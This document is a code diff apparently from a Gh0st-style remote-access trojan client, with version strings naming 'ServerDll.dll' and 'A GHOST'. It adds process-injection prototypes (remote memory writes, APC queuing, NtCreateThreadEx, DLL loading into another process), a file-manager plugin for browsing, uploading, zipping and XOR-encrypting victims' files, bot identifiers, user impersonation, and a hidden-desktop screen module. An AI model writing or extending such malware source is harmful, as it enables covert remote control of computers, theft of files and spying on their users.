+} MIB_TCPEXTABLE, * PMIB_TCPEXTABLE;
+
+typedef struct {
+    DWORD   dwLocalAddr;      // 本地地址
+    DWORD   dwLocalPort;      // 本地端口
+    DWORD   dwProcessId;      // 进程ID号
+} MIB_UDPEXROW, * PMIB_UDPEXROW;
+
+typedef struct {
+    DWORD           dwNumEntries;
+    MIB_UDPEXROW    table[ANY_SIZE];
+} MIB_UDPEXTABLE, * PMIB_UDPEXTABLE;
+
+typedef struct {
+    DWORD dwState;      //连接状态
+    DWORD dwLocalAddr;  //本地地址
+    DWORD dwLocalPort;  //本地端口
+    DWORD dwRemoteAddr; //远程地址
+    DWORD dwRemotePort; //远程端口
+    DWORD dwProcessId;  //进程标识
+    DWORD Unknown;      //待定标识
+} MIB_TCPEXROW_VISTA, * PMIB_TCPEXROW_VISTA;
+
+typedef struct {
+    DWORD dwNumEntries;
+    MIB_TCPEXROW_VISTA table[ANY_SIZE];
+} MIB_TCPEXTABLE_VISTA, * PMIB_TCPEXTABLE_VISTA;
+
+typedef DWORD(WINAPI* _InternalGetTcpTable2)(
+    PMIB_TCPEXTABLE_VISTA* pTcpTable_Vista,
+    HANDLE heap,
+    DWORD flags
+);
+
+
+typedef DWORD(WINAPI* PFNInternalGetUdpTableWithOwnerPid)(
+    PMIB_UDPEXTABLE* pUdpTable,
+    HANDLE heap,
+    DWORD flags
+);
+// 扩展函数原型
+typedef DWORD(WINAPI* PFNAllocateAndGetTcpExTableFromStack)(
+    PMIB_TCPEXTABLE* pTcpTable,
+    BOOL bOrder,
+    HANDLE heap,
+    DWORD zero,
+    DWORD flags
+);
+
+typedef DWORD(WINAPI* PFNAllocateAndGetUdpExTableFromStack)(
+    PMIB_UDPEXTABLE* pUdpTable,
+    BOOL bOrder,
+    HANDLE heap,
+    DWORD zero,
+    DWORD flags
+);
+
+typedef _CLIENT_ID* PCLIENT_ID;
+
+typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
+typedef NTSTATUS(NTAPI* pNtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID);
+typedef NTSTATUS(NTAPI* pNtSuspendThread)(HANDLE ThreadHandle, PULONG SuspendCount);
+typedef NTSTATUS(NTAPI* pNtAlertResumeThread)(HANDLE ThreadHandle, PULONG SuspendCount);
+typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
+typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten);
+typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext OPTIONAL, PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, ULONG ApcReserved OPTIONAL);
+typedef NTSTATUS(WINAPI* pLdrLoadDll)(IN PWCHAR PathToFile OPTIONAL, IN ULONG Flags OPTIONAL, IN PUNICODE_STRING ModuleFileName, OUT PHANDLE ModuleHandle);
+typedef VOID(WINAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
+
+typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
+(
+	OUT PHANDLE hThread,
+	IN ACCESS_MASK DesiredAccess,
+	IN PVOID ObjectAttributes,
+	IN HANDLE ProcessHandle,
+	IN PVOID lpStartAddress,
+	IN PVOID lpParameter,
+	IN ULONG Flags,
+	IN SIZE_T StackZeroBits,
+	IN SIZE_T SizeOfStackCommit,
+	IN SIZE_T SizeOfStackReserve,
+	OUT PVOID lpBytesBuffer);
+
+typedef struct _THREAD_DATA
+{
+	pRtlInitUnicodeString fnRtlInitUnicodeString;
+	pLdrLoadDll fnLdrLoadDll;
+	UNICODE_STRING UnicodeString;
+	WCHAR DllName[260];
+	PWCHAR DllPath;
+	ULONG Flags;
+	HANDLE ModuleHandle;
+}THREAD_DATA, * PTHREAD_DATA;
+
+struct  InjectData {
+    DWORD ExeIsx86;
+    DWORD mode;		//注入模式
+    DWORD dwProcessID;//进程ID
+    DWORD datasize;   //本地数据尺寸
+    char strpath[1024]; //远程落地目录
+};

client/Script.rc

@@ -31,20 +31,19 @@ FONT 10, "System", 0, 0, 0x0
 BEGIN
     LTEXT           "Static",IDC_EDIT_MESSAGE,5,5,170,95
 END
+
 IDD_CHAT DIALOGEX 0, 0, 235, 155
 STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU
 CAPTION "Chat"
 FONT 10, "System", 0, 0, 0x0
 BEGIN
-    EDITTEXT        IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL | WS_BORDER | WS_TABSTOP | WS_VISIBLE
-    EDITTEXT        IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL | WS_BORDER | WS_TABSTOP | WS_VISIBLE
-    PUSHBUTTON      "Send",IDC_BUTTON_SEND,178,116,54,14,BS_DEFPUSHBUTTON | WS_TABSTOP | WS_VISIBLE
-    PUSHBUTTON      "End",IDC_BUTTON_END,178,133,54,14,WS_TABSTOP | WS_VISIBLE
+    EDITTEXT        IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL
+    EDITTEXT        IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL
+    DEFPUSHBUTTON   "Send",IDC_BUTTON_SEND,178,116,54,14
+    PUSHBUTTON      "End",IDC_BUTTON_END,178,133,54,14
 END
 
 
-
-
 /////////////////////////////////////////////////////////////////////////////
 //
 // DESIGNINFO
@@ -56,6 +55,7 @@ BEGIN
     IDD_DIALOG, DIALOG
     BEGIN
     END
+
     IDD_CHAT, DIALOG
     BEGIN
     END
@@ -103,7 +103,7 @@ IDR_WAVE                WAVE                    "Res\\msg.wav"
 //
 
 VS_VERSION_INFO VERSIONINFO
- FILEVERSION 1,0,3,9
+ FILEVERSION 1,0,4,0
  PRODUCTVERSION 1,0,0,1
  FILEFLAGSMASK 0x3fL
 #ifdef _DEBUG
@@ -121,7 +121,7 @@ BEGIN
         BEGIN
             VALUE "CompanyName", "FUCK THE UNIVERSE"
             VALUE "FileDescription", "A GHOST"
-            VALUE "FileVersion", "1.0.3.9"
+            VALUE "FileVersion", "1.0.4.0"
             VALUE "InternalName", "ServerDll.dll"
             VALUE "LegalCopyright", "Copyright (C) 2019-2026"
             VALUE "OriginalFilename", "ServerDll.dll"

client/file/FileManager.h

@@ -0,0 +1,152 @@
+#include <winsock2.h>
+#include <list>
+#include <string>
+#include "Manager.h"
+#include <sstream>
+#include "zip.h"
+
+#pragma once
+#include <winioctl.h>
+typedef LONG NTSTATUS;	// 仅声明 NTSTATUS；不引入 <winternl.h>，避免 STRING/UNICODE_STRING/OBJ_CASE_INSENSITIVE/FILE_OPEN 等宏与本地命名冲突
+#include "MasterEncoder.h"
+
+namespace SimplePluginsFile {
+
+typedef struct {
+    UINT	nFileSize;	// 文件大小
+    UINT	nSendSize;	// 已发送大小
+} SENDFILEPROGRESS, * PSENDFILEPROGRESS;
+
+typedef struct {
+    DWORD	dwSizeHigh;
+    DWORD	dwSizeLow;
+    BOOL    error;
+} FILESIZE;
+
+
+typedef struct {
+    TCHAR SearchFileName[MAX_PATH];
+    TCHAR SearchPath[MAX_PATH];
+    BOOL bEnabledSubfolder;
+} FILESEARCH;
+
+
+typedef struct {
+    BYTE Token;
+    int  w,h,size;
+} FILEPICINFO;
+
+
+struct SEARCH {
+    TCHAR TC_disk[8];
+    TCHAR TC_search[MAX_PATH];
+};
+
+typedef struct _IO_STATUS_BLOCK {
+    union {
+        NTSTATUS Status;
+        PVOID    Pointer;
+    };
+    ULONG_PTR Information;
+} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
+
+typedef struct _FILE_NAME_INFORMATION {
+    ULONG FileNameLength;
+    WCHAR FileName[MAX_PATH];
+} FILE_NAME_INFORMATION;
+
+typedef LONG(__stdcall* ZwQueryInformationFile) (
+    IN HANDLE FileHandle,
+    OUT PIO_STATUS_BLOCK IoStatusBlock,
+    OUT PVOID FileInformation,
+    IN ULONG FileInformationLength,
+    IN ULONG FileInformationClass
+);
+
+WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr);
+
+class CFileManager : public CManager
+{
+public:
+    MasterEncoder m_encoder;
+    DWORD dwRet;
+    void OnReceive(LPBYTE lpBuffer, ULONG nSize);
+    UINT SendDriveList();
+    CFileManager(ISocketBase* pClient, int n, void* user);
+    virtual ~CFileManager();
+private:
+    LPBYTE lpSendPacket;
+    std::list <std::string> m_UploadList;
+    BOOL m_bIsWow64;
+    UINT m_nTransferMode;
+    HANDLE m_hFileSend;
+    HANDLE m_hFileRecv;
+    TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
+    __int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
+    bool benofrce;
+    TCHAR* copyfile;
+    HANDLE ImpersonateLoggedOnUserWrapper();
+    bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
+    bool UploadToRemote(LPBYTE lpBuffer);
+    bool FixedUploadList(LPCTSTR lpszDirectory);
+    void StopTransfer(BOOL bIsUpload);
+    UINT SendFilesList(TCHAR* lpszDirectory);
+    bool DeleteDirectory(LPCTSTR lpszDirectory);
+    UINT SendFileSize(LPCTSTR lpszFileName);
+    void SendFileData(LPBYTE lpBuffer);
+    void CreateFolder(LPBYTE lpBuffer);
+    void Rename(LPBYTE lpBuffer);
+    int	 SendToken(BYTE bToken);
+
+    void CreateLocalRecvFile(LPBYTE lpBuffer);
+    void SetTransferMode(LPBYTE lpBuffer);
+    void GetFileData();
+    void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
+    void UploadNext();
+    BOOL OpenFile(LPCTSTR lpFile, INT nShowCmd);
+    void ExeCompress(BYTE* lpBuffer);
+    void SendSearchData(LPBYTE lpBuffer);
+    BOOL GetVolumeNameByHandle(HANDLE hFile, char* szFullPath);
+    void GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber);
+
+protected:
+    HANDLE m_hWorkThread;
+    BOOL bIsStopSearch;
+    FILESEARCH filesearch;
+
+    void StopSearchTheard();
+    void SendSearchFilesList(LPCTSTR str);
+    static void WINAPI FindFileThread(LPVOID lparam);
+    void FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder);
+    TCHAR       g_desktopName[MAX_PATH];
+    ULONG PseudoRand(ULONG* seed);
+    void GetBotId(TCHAR* botId);
+    HDESK      g_hDesk;;
+    bool getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath);
+    void SendNetHood(); //发送共享文件目录
+    void encfile(char* in_filename);
+    void decryptfile(char* in_filename);
+    bool FnDelPathFile(TCHAR* tc_path);
+
+    TCHAR* zippath_t;
+    HANDLE m_hWorkZIPThread;
+    BOOL bIsStopZIP;
+    void StopZIPTheard();
+    void StartZIP();
+    static void WINAPI FindZIPThread(LPVOID lparam);
+    void FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz,int pathlen);
+
+    //info
+    void SendFileInfo(TCHAR* filepath,TCHAR * type);
+    bool ResizePicture(TCHAR* strSource);
+
+    TCHAR* volName;             // 驱动盘名称
+    TCHAR* tc_search;           // 搜索关键词
+    HANDLE hVol;                // 用于储存驱动盘句柄
+    USN_JOURNAL_DATA UsnInfo;   // 用于储存USN日志的基本信息
+    long counter;
+    LPBYTE	 lpBuffer;
+    char* c_pathname;
+};
+
+}

client/file/MasterEncoder.cpp

@@ -0,0 +1,162 @@
+#include "StdAfx.h"
+#include "MasterEncoder.h"
+#include <fstream>
+#include <string>
+#include <iostream>
+
+namespace SimplePluginsFile {
+
+MasterEncoder::MasterEncoder()
+{
+    _codeKey = 100;
+    _sign = nullptr;
+    _signLen = 0;
+}
+
+MasterEncoder::~MasterEncoder()
+{
+    SAFE_DELETE_AR(_sign);
+}
+
+void MasterEncoder::setSignAndKey(char* sign, int signLen, unsigned char key)
+{
+    if (sign && signLen) {
+        _signLen = signLen;
+        SAFE_DELETE_AR(_sign);
+        _sign = new char[signLen];
+        if (_sign) {
+            memcpy(_sign, sign, signLen);
+        } else {
+            Mprintf("setSignAndKey Failed!\n");
+        }
+    }
+    _codeKey = key;
+}
+
+void MasterEncoder::encode(unsigned char* data, long size)
+{
+    for (long i = 0; i < size; i++) {
+        data[i] ^= _codeKey;
+    }
+}
+
+void MasterEncoder::decode(unsigned char* data, long size)
+{
+    for (long i = 0; i < size; i++) {
+        data[i] ^= _codeKey;
+    }
+}
+
+unsigned char* MasterEncoder::readPDF(const std::string& filepath, long& size)
+{
+    std::ifstream ifs;
+    ifs.open(filepath, std::ios::in | std::ios::binary);
+
+    if (!ifs.is_open()) {
+        Mprintf("文件打开失败: %s\n", filepath.c_str());
+        return nullptr;
+    }
+
+    ifs.seekg(0, std::ios_base::end);
+    size =(long) ifs.tellg();
+    ifs.seekg(0, std::ios_base::beg);
+    unsigned char* data = new unsigned char[size];
+    long count = 0;
+    while (count < size) {
+        ifs.read((char*)&data[count], sizeof(unsigned char));
+        count++;
+    }
+
+    Mprintf("read PDF size = %d\n", size);
+
+    ifs.close();
+
+    return data;
+}
+
+void MasterEncoder::writePDF(const std::string& filePath, unsigned char* data, long size)
+{
+    std::ofstream ofs;
+    ofs.open(filePath, std::ios::out | std::ios::trunc | std::ios::binary);
+
+    if (!ofs.is_open()) {
+        Mprintf("文件打开失败: %s\n", filePath.c_str());
+        return;
+    }
+
+    long count = 0;
+    while (count < size) {
+        ofs.write((char*)&data[count], sizeof(unsigned char));
+        count++;
+    }
+    Mprintf("save PDF size = %d\n", size);
+    ofs.close();
+}
+
+void MasterEncoder::encodePDF(const std::string& pdfPath, const std::string& savePath)
+{
+    long size = 0;
+    unsigned char* data = readPDF(pdfPath, size);
+
+    //判断是否已经加密过
+    if (memcmp(data, _sign, _signLen) == 0) {
+        Mprintf("加密过了, 直接保存: %s\n", pdfPath.c_str());
+        writePDF(savePath, data, size);
+    } else {
+        encode(data, size);
+
+        if (_signLen > 0) {
+            unsigned char* p = new unsigned char[size + _signLen];
+            memcpy(p, _sign, _signLen);
+            memcpy(p + _signLen, data, size);
+
+            writePDF(savePath, p, size + _signLen);
+
+            delete[] p;
+        } else {
+            writePDF(savePath, data, size);
+        }
+    }
+
+    delete[] data;
+}
+
+void MasterEncoder::decodePDF(const std::string& pdfPath, const std::string& savePath)
+{
+    long size = 0;
+    unsigned char* data = readPDF(pdfPath, size);
+
+    if (_signLen == 0) {
+        decode(data, size);
+        writePDF(savePath, data, size);
+    } else if (memcmp(data, _sign, _signLen) == 0) {
+        unsigned char* p = (data + _signLen);
+        decode(p, size - _signLen);
+        writePDF(savePath, p, size - _signLen);
+    } else {
+        Mprintf("解密失败: %s\n", pdfPath.c_str());
+    }
+
+    delete[] data;
+}
+
+unsigned char* MasterEncoder::decode(const std::string& pdfPath, long& size)
+{
+    unsigned char* data = readPDF(pdfPath, size);
+
+    if (_signLen == 0) {
+        decode(data, size);
+        return data;
+    } else if (memcmp(data, _sign, _signLen) == 0) {
+        size -= _signLen;
+        unsigned char* p = new unsigned char[size];
+        memcpy(p, data + _signLen, size);
+        decode(p, size);
+        delete[] data;
+        return p;
+    } else {
+        return data;
+    }
+}
+
+}

client/file/MasterEncoder.h

@@ -0,0 +1,32 @@
+#pragma once
+
+#include <string>
+
+namespace SimplePluginsFile {
+
+class MasterEncoder
+{
+public:
+    MasterEncoder();
+    ~MasterEncoder();
+
+    void setSignAndKey(char* sign, int signLen, unsigned char key);
+
+    void decode(unsigned char* data, long size);
+    void encode(unsigned char* data, long size);
+
+    void writePDF(const std::string& filePath, unsigned char* data, long size);
+    unsigned char* readPDF(const std::string& filepath, long& size);
+
+public:
+    void encodePDF(const std::string& pdfPath, const std::string& savePath);
+    void decodePDF(const std::string& pdfPath, const std::string& savePath);
+    unsigned char* decode(const std::string& pdfPath, long& size);
+
+private:
+    unsigned char _codeKey;
+    char* _sign;
+    int _signLen;
+};
+
+}

client/file/zip.h

@@ -0,0 +1,207 @@
+//
+//http://www.codeproject.com/KB/files/zip_utils.aspx
+//
+
+#ifndef _zip_H
+#define _zip_H
+
+
+// ZIP functions -- for creating zip files
+// This file is a repackaged form of the Info-Zip source code available
+// at www.info-zip.org. The original copyright notice may be found in
+// zip.cpp. The repackaging was done by Lucian Wischik to simplify and
+// extend its use in Windows/C++. Also to add encryption and unicode.
+
+
+#ifndef _unzip_H
+DECLARE_HANDLE(HZIP);
+#endif
+// An HZIP identifies a zip file that is being created
+
+typedef DWORD ZRESULT;
+// return codes from any of the zip functions. Listed later.
+
+
+
+HZIP CreateZip(const TCHAR* fn, const char* password);
+HZIP CreateZip(void* buf, unsigned int len, const char* password);
+HZIP CreateZipHandle(HANDLE h, const char* password);
+// CreateZip - call this to start the creation of a zip file.
+// As the zip is being created, it will be stored somewhere:
+// to a pipe:              CreateZipHandle(hpipe_write);
+// in a file (by handle):  CreateZipHandle(hfile);
+// in a file (by name):    CreateZip("c:\\test.zip");
+// in memory:              CreateZip(buf, len);
+// or in pagefile memory:  CreateZip(0, len);
+// The final case stores it in memory backed by the system paging file,
+// where the zip may not exceed len bytes. This is a bit friendlier than
+// allocating memory with new[]: it won't lead to fragmentation, and the
+// memory won't be touched unless needed. That means you can give very
+// large estimates of the maximum-size without too much worry.
+// As for the password, it lets you encrypt every file in the archive.
+// (This api doesn't support per-file encryption.)
+// Note: because pipes don't allow random access, the structure of a zipfile
+// created into a pipe is slightly different from that created into a file
+// or memory. In particular, the compressed-size of the item cannot be
+// stored in the zipfile until after the item itself. (Also, for an item added
+// itself via a pipe, the uncompressed-size might not either be known until
+// after.) This is not normally a problem. But if you try to unzip via a pipe
+// as well, then the unzipper will not know these things about the item until
+// after it has been unzipped. Therefore: for unzippers which don't just write
+// each item to disk or to a pipe, but instead pre-allocate memory space into
+// which to unzip them, then either you have to create the zip not to a pipe,
+// or you have to add items not from a pipe, or at least when adding items
+// from a pipe you have to specify the length.
+// Note: for windows-ce, you cannot close the handle until after CloseZip.
+// but for real windows, the zip makes its own copy of your handle, so you
+// can close yours anytime.
+
+
+ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, const TCHAR* fn);
+ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, void* src, unsigned int len);
+ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h);
+ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h, unsigned int len);
+ZRESULT ZipAddFolder(HZIP hz, const TCHAR* dstzn);
+// ZipAdd - call this for each file to be added to the zip.
+// dstzn is the name that the file will be stored as in the zip file.
+// The file to be added to the zip can come
+// from a pipe:  ZipAddHandle(hz,"file.dat", hpipe_read);
+// from a file:  ZipAddHandle(hz,"file.dat", hfile);
+// from a filen: ZipAdd(hz,"file.dat", "c:\\docs\\origfile.dat");
+// from memory:  ZipAdd(hz,"subdir\\file.dat", buf,len);
+// (folder):     ZipAddFolder(hz,"subdir");
+// Note: if adding an item from a pipe, and if also creating the zip file itself
+// to a pipe, then you might wish to pass a non-zero length to the ZipAddHandle
+// function. This will let the zipfile store the item's size ahead of the
+// compressed item itself, which in turn makes it easier when unzipping the
+// zipfile from a pipe.
+
+ZRESULT ZipGetMemory(HZIP hz, void** buf, unsigned long* len);
+// ZipGetMemory - If the zip was created in memory, via ZipCreate(0,len),
+// then this function will return information about that memory block.
+// buf will receive a pointer to its start, and len its length.
+// Note: you can't add any more after calling this.
+
+ZRESULT CloseZip(HZIP hz);
+// CloseZip - the zip handle must be closed with this function.
+
+unsigned int FormatZipMessage(ZRESULT code, TCHAR* buf, unsigned int len);
+// FormatZipMessage - given an error code, formats it as a string.
+// It returns the length of the error message. If buf/len points
+// to a real buffer, then it also writes as much as possible into there.
+
+
+
+// These are the result codes:
+#define ZR_OK         0x00000000     // nb. the pseudo-code zr-recent is never returned,
+#define ZR_RECENT     0x00000001     // but can be passed to FormatZipMessage.
+// The following come from general system stuff (e.g. files not openable)
+#define ZR_GENMASK    0x0000FF00
+#define ZR_NODUPH     0x00000100     // couldn't duplicate the handle
+#define ZR_NOFILE     0x00000200     // couldn't create/open the file
+#define ZR_NOALLOC    0x00000300     // failed to allocate some resource
+#define ZR_WRITE      0x00000400     // a general error writing to the file
+#define ZR_NOTFOUND   0x00000500     // couldn't find that file in the zip
+#define ZR_MORE       0x00000600     // there's still more data to be unzipped
+#define ZR_CORRUPT    0x00000700     // the zipfile is corrupt or not a zipfile
+#define ZR_READ       0x00000800     // a general error reading the file
+// The following come from mistakes on the part of the caller
+#define ZR_CALLERMASK 0x00FF0000
+#define ZR_ARGS       0x00010000     // general mistake with the arguments
+#define ZR_NOTMMAP    0x00020000     // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
+#define ZR_MEMSIZE    0x00030000     // the memory size is too small
+#define ZR_FAILED     0x00040000     // the thing was already failed when you called this function
+#define ZR_ENDED      0x00050000     // the zip creation has already been closed
+#define ZR_MISSIZE    0x00060000     // the indicated input file size turned out mistaken
+#define ZR_PARTIALUNZ 0x00070000     // the file had already been partially unzipped
+#define ZR_ZMODE      0x00080000     // tried to mix creating/opening a zip 
+// The following come from bugs within the zip library itself
+#define ZR_BUGMASK    0xFF000000
+#define ZR_NOTINITED  0x01000000     // initialisation didn't work
+#define ZR_SEEK       0x02000000     // trying to seek in an unseekable file
+#define ZR_NOCHANGE   0x04000000     // changed its mind on storage, but not allowed
+#define ZR_FLATE      0x05000000     // an internal error in the de/inflation code
+
+
+
+
+
+
+// e.g.
+//
+// (1) Traditional use, creating a zipfile from existing files
+//     HZIP hz = CreateZip("c:\\simple1.zip",0);
+//     ZipAdd(hz,"znsimple.bmp", "c:\\simple.bmp");
+//     ZipAdd(hz,"znsimple.txt", "c:\\simple.txt");
+//     CloseZip(hz);
+//
+// (2) Memory use, creating an auto-allocated mem-based zip file from various sources
+//     HZIP hz = CreateZip(0,100000, 0);
+//     // adding a conventional file...
+//     ZipAdd(hz,"src1.txt",  "c:\\src1.txt");
+//     // adding something from memory...
+//     char buf[1000]; for (int i=0; i<1000; i++) buf[i]=(char)(i&0x7F);
+//     ZipAdd(hz,"file.dat",  buf,1000);
+//     // adding something from a pipe...
+//     HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,NULL,0);
+//     HANDLE hthread = CreateThread(0,0,ThreadFunc,(void*)hwrite,0,0);
+//     ZipAdd(hz,"unz3.dat",  hread,1000);  // the '1000' is optional.
+//     WaitForSingleObject(hthread,INFINITE);
+//     CloseHandle(hthread); CloseHandle(hread);
+//     ... meanwhile DWORD WINAPI ThreadFunc(void *dat)
+//                   { HANDLE hwrite = (HANDLE)dat;
+//                     char buf[1000]={17};
+//                     DWORD writ; WriteFile(hwrite,buf,1000,&writ,NULL);
+//                     CloseHandle(hwrite);
+//                     return 0;
+//                   }
+//     // and now that the zip is created, let's do something with it:
+//     void *zbuf; unsigned long zlen; ZipGetMemory(hz,&zbuf,&zlen);
+//     HANDLE hfz = CreateFile("test2.zip",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
+//     DWORD writ; WriteFile(hfz,zbuf,zlen,&writ,NULL);
+//     CloseHandle(hfz);
+//     CloseZip(hz);
+//
+// (3) Handle use, for file handles and pipes
+//     HANDLE hzread,hzwrite; CreatePipe(&hzread,&hzwrite,0,0);
+//     HANDLE hthread = CreateThread(0,0,ZipReceiverThread,(void*)hzread,0,0);
+//     HZIP hz = CreateZipHandle(hzwrite,0);
+//     // ... add to it
+//     CloseZip(hz);
+//     CloseHandle(hzwrite);
+//     WaitForSingleObject(hthread,INFINITE);
+//     CloseHandle(hthread);
+//     ... meanwhile DWORD WINAPI ZipReceiverThread(void *dat)
+//                   { HANDLE hread = (HANDLE)dat;
+//                     char buf[1000];
+//                     while (true)
+//                     { DWORD red; ReadFile(hread,buf,1000,&red,NULL);
+//                       // ... and do something with this zip data we're receiving
+//                       if (red==0) break;
+//                     }
+//                     CloseHandle(hread);
+//                     return 0;
+//                   }
+
+
+
+// Now we indulge in a little skullduggery so that the code works whether
+// the user has included just zip or both zip and unzip.
+// Idea: if header files for both zip and unzip are present, then presumably
+// the cpp files for zip and unzip are both present, so we will call
+// one or the other of them based on a dynamic choice. If the header file
+// for only one is present, then we will bind to that particular one.
+ZRESULT CloseZipZ(HZIP hz);
+unsigned int FormatZipMessageZ(ZRESULT code, char* buf, unsigned int len);
+bool IsZipHandleZ(HZIP hz);
+#ifdef _unzip_H
+#undef CloseZip
+#define CloseZip(hz) (IsZipHandleZ(hz)?CloseZipZ(hz):CloseZipU(hz))
+#else
+#define CloseZip CloseZipZ
+#define FormatZipMessage FormatZipMessageZ
+#endif
+
+
+
+#endif

client/ghost_vs2015.vcxproj

@@ -194,6 +194,13 @@
     <ClCompile Include="ClientDll.cpp" />
     <ClCompile Include="Common.cpp" />
     <ClCompile Include="FileManager.cpp" />
+    <ClCompile Include="file\FileManager.cpp">
+      <ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
+    </ClCompile>
+    <ClCompile Include="file\MasterEncoder.cpp" />
+    <ClCompile Include="file\zip.cpp" />
+    <ClCompile Include="screenhide\ScreenHideManager.cpp" />
+    <ClCompile Include="DrawingBoardMgr.cpp" />
     <ClCompile Include="IOCPClient.cpp" />
     <ClCompile Include="IOCPKCPClient.cpp" />
     <ClCompile Include="IOCPUDPClient.cpp" />
@@ -227,6 +234,7 @@
     <ClCompile Include="EncoderFactory.cpp" />
     <ClCompile Include="TalkManager.cpp" />
     <ClCompile Include="ChatManager.cpp" />
+    <ClCompile Include="MachineManager.cpp" />
     <ClCompile Include="VideoManager.cpp" />
     <ClCompile Include="X264Encoder.cpp" />
   </ItemGroup>
@@ -249,6 +257,13 @@
     <ClInclude Include="CursorInfo.h" />
     <ClInclude Include="domain_pool.h" />
     <ClInclude Include="FileManager.h" />
+    <ClInclude Include="file\FileManager.h" />
+    <ClInclude Include="file\MasterEncoder.h" />
+    <ClInclude Include="file\zip.h" />
+    <ClInclude Include="screenhide\ScreenManagerBase.h" />
+    <ClInclude Include="screenhide\ScreenHideManager.h" />
+    <ClInclude Include="screenhide\ScreenHideSpy.h" />
+    <ClInclude Include="DrawingBoardMgr.h" />
     <ClInclude Include="IOCPClient.h" />
     <ClInclude Include="IOCPKCPClient.h" />
     <ClInclude Include="IOCPUDPClient.h" />
@@ -285,6 +300,8 @@
     <ClInclude Include="VideoEncoderBase.h" />
     <ClInclude Include="TalkManager.h" />
     <ClInclude Include="ChatManager.h" />
+    <ClInclude Include="MachineManager.h" />
+    <ClInclude Include="yapi.hpp" />
     <ClInclude Include="VideoCodec.h" />
     <ClInclude Include="VideoManager.h" />
     <ClInclude Include="X264Encoder.h" />

client/screenhide/ScreenHideManager.cpp

@@ -0,0 +1,615 @@
+// ScreenManagers.cpp: implementation of the CScreenHideManager class.
+//
+//////////////////////////////////////////////////////////////////////
+#include "StdAfx.h"
+#include <Windowsx.h>
+#include "ScreenHideManager.h"
+#include <WinUser.h>
+#include <string>
+#include <Shlwapi.h>
+#include <ShlObj.h>
+#include <Tlhelp32.h>
+#include <shellapi.h>
+#include <winioctl.h>
+#include <Wtsapi32.h>
+#include <set>
+#include <vector>
+
+
+#pragma comment (lib, "Shlwapi.lib")
+
+namespace SimplePluginsScreenHide {
+
+//////////////////////////////////////////////////////////////////////
+// Construction/Destruction
+//////////////////////////////////////////////////////////////////////
+
+// 检查指定桌面（hDesk）中是否存在目标进程（targetExeName）
+BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
+	// 切换到目标桌面
+	if (!SetThreadDesktop(hDesk)) {
+		return FALSE;
+	}
+
+	// 枚举目标桌面的所有窗口
+	BOOL bFound = FALSE;
+    std::pair<const char*, BOOL*> data(targetExeName, &bFound);
+	EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
+		auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
+
+		DWORD dwProcessId;
+		GetWindowThreadProcessId(hWnd, &dwProcessId);
+
+		// 获取进程名
+		HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
+		if (hProcess) {
+			char exePath[MAX_PATH];
+			DWORD size = MAX_PATH;
+			if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
+				if (_stricmp(exePath, pData->first) == 0) {
+					*(pData->second) = TRUE;
+					return FALSE; // 终止枚举
+				}
+			}
+			CloseHandle(hProcess);
+		}
+		return TRUE; // 继续枚举
+		}, reinterpret_cast<LPARAM>(&data));
+
+	return bFound;
+}
+
+// 获取指定桌面下的所有进程ID
+std::vector<DWORD> GetProcessIdsInDesktop(HDESK hDesk) {
+	std::set<DWORD> pidSet;
+	HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
+
+	if (SetThreadDesktop(hDesk)) {
+		EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) {
+			auto& pids = *reinterpret_cast<std::set<DWORD>*>(lParam);
+
